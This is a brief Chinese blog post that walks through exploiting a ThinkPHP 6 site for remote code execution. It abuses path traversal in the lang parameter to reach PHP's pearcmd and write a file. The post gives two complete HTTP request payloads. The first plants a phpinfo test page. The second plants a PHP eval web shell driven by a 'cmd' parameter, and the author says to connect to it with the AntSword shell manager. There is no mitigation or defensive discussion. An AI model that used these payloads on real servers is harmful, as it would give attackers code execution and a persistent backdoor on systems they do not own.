ThinkPHP 6

1、打开页面,可以看到版本信息为6.x

image-20241217173222151

2、直接bp抓包、发包测试,发送测试信息

先访问一下 /shell.php 看是否本身存在该路径

image-20241217173518656

可以看到没有网页。

数据包发送payload:

GET /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1

image-20241217173611801

可以看到响应码200,成功了,再访问一下shell.php

image-20241217173650295

成功,存在RCE

后续可通过再次发送payload:

GET /index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['cmd']);?>+shell.php HTTP/1.1

使用蚁剑等连接

posted @ 2025-12-02 09:23  shinianyunyan  阅读(11)  评论(0)    收藏  举报